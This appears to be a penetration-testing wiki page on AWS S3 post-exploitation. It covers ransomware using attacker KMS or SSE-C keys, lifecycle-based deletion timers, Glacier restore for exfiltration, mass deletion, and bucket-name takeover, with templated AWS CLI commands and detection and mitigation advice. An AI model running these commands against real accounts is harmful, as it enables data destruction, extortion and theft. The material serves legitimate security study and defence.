# AWS - S3 Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## S3

For more information check:

{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}

### Sensitive Information

Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets.

### Pivoting

Different platforms could be using S3 to store sensitive assets.\
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.

### S3 Ransomware

In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.

The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.

To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.

Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.

To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.

Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.

#### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)

Another variant is abusing **SSE-C** (S3 server-side encryption with **customer-provided keys**). With SSE-C, the **client provides the encryption key on every request** and **AWS does not store the key**. This means that if an attacker rewrites objects using **their own SSE-C key**, the victim's data becomes unreadable unless the victim can provide that attacker-controlled key.

- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) and the ability to **rewrite objects** (e.g., `s3:PutObject` on the target keys/prefixes). This is often paired with the ability to set destructive lifecycle policies (see below), e.g. `s3:PutLifecycleConfiguration`.
- **Attack chain:**
  1. Attacker generates a random 256-bit key (AES-256) and keeps it.
  2. Attacker **rewrites** existing objects (same object keys) using SSE-C headers so the stored object is now encrypted with the attacker key.
  3. Victim cannot download/decrypt without providing the SSE-C key (even if IAM permissions are fine).
  4. Attacker can delete the key (or simply never provide it) to make data unrecoverable.

Example (conceptual) CLI usage:

```bash
# Upload/overwrite an object encrypted with attacker-provided SSE-C key
aws s3 cp ./file s3://<BUCKET>/<KEY> \
  --sse-c AES256 \
  --sse-c-key <BASE64_32_BYTES>

# Download requires providing the same key again
aws s3 cp s3://<BUCKET>/<KEY> ./file \
  --sse-c AES256 \
  --sse-c-key <BASE64_32_BYTES>
```

##### Adding Pressure: Lifecycle "Timer" Abuse

To remove recovery options (like old versions), attackers can pair SSE-C rewrites with **lifecycle rules** that expire objects and/or delete noncurrent versions after a short period:

- `s3:PutLifecycleConfiguration` on the bucket lets an attacker schedule deletions without issuing explicit delete operations for every object/version.
- This is especially impactful when **versioning is enabled**, because it can remove the "previous good version" that would otherwise allow recovery.

##### Detection & Mitigations

- Prefer **SSE-KMS** (or SSE-S3) over SSE-C unless you have a strong operational reason to allow SSE-C.
- Monitor/alert on `PutObject` requests using SSE-C headers (CloudTrail data events for S3).
- Monitor/alert on unexpected `PutBucketLifecycleConfiguration` (lifecycle changes).
- Monitor/alert on sudden spikes in overwrite activity (same keys updated rapidly) and delete-marker/version deletions.
- Restrict high-risk permissions: Limit `s3:PutObject` to necessary prefixes; strongly restrict `s3:PutLifecycleConfiguration` and `s3:PutBucketVersioning`; consider requiring MFA for sensitive admin actions (where applicable) and use separate admin roles with approvals.
- Recovery posture: Use **versioning**, **backups**, and immutable/offline copies (S3 replication to protected account, backup vaults, etc.); protect noncurrent versions from aggressive deletion and guard lifecycle changes with SCPs / guardrails.

### `s3:RestoreObject`

An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.

```bash
aws s3api restore-object \
  --bucket <BUCKET_NAME> \
  --key <OBJECT_KEY> \
  --restore-request '{
    "Days": <NUMBER_OF_DAYS>,
    "GlacierJobParameters": { "Tier": "Standard" }
  }'
```

### `s3:Delete*`

An attacker with the s3:Delete* permission can delete objects, versions, and entire buckets, disrupt backups, and cause immediate and irreversible data loss, destruction of evidence, and compromise of backup or recovery artifacts.

```bash
# Delete an object from a bucket
aws s3api delete-object \
  --bucket <BUCKET_NAME> \
  --key <OBJECT_KEY>

# Delete a specific version
aws s3api delete-object \
  --bucket <BUCKET_NAME> \
  --key <OBJECT_KEY> \
  --version-id <VERSION_ID>

# Delete a bucket
aws s3api delete-bucket \
  --bucket <BUCKET_NAME>
```

### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`

S3 bucket names are globally unique. If a victim account has automated writers that keep delivering data to `arn:aws:s3:::<bucket-name>` and an attacker can empty/delete that bucket, the attacker may recreate the same bucket name in an attacker-controlled account and receive future deliveries without changing the upstream service configuration.

Good targets to review include S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains that land in S3, and custom backup or export jobs.

```bash
# Review S3 replication destinations on source buckets
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>

# Review Firehose S3 destinations
aws firehose describe-delivery-stream \
  --delivery-stream-name <DELIVERY_STREAM_NAME>

# Empty and delete the target bucket, if permitted
aws s3 rm s3://<BUCKET_NAME> --recursive
aws s3api delete-bucket --bucket <BUCKET_NAME>

# Recreate the same globally-unique name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```

The replacement bucket policy must allow the upstream writer to put objects. The exact principal depends on the service: for example an IAM replication role, a Firehose delivery role, or a service principal constrained with `aws:SourceArn` / `aws:SourceAccount`.

**Potential Impact:** silent exfiltration of future replicated objects, logs, telemetry, backups, and pipeline artifacts to an attacker-controlled AWS account.

**Detection & Mitigation:** alert on deletion of buckets referenced by replication rules or delivery streams, monitor for `NoSuchBucket` delivery failures followed by bucket recreation, restrict `s3:DeleteBucket` on export destinations, and pin cross-account deliveries with strict bucket policies and ownership expectations.



**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**

{{#include ../../../../banners/hacktricks-training.md}}
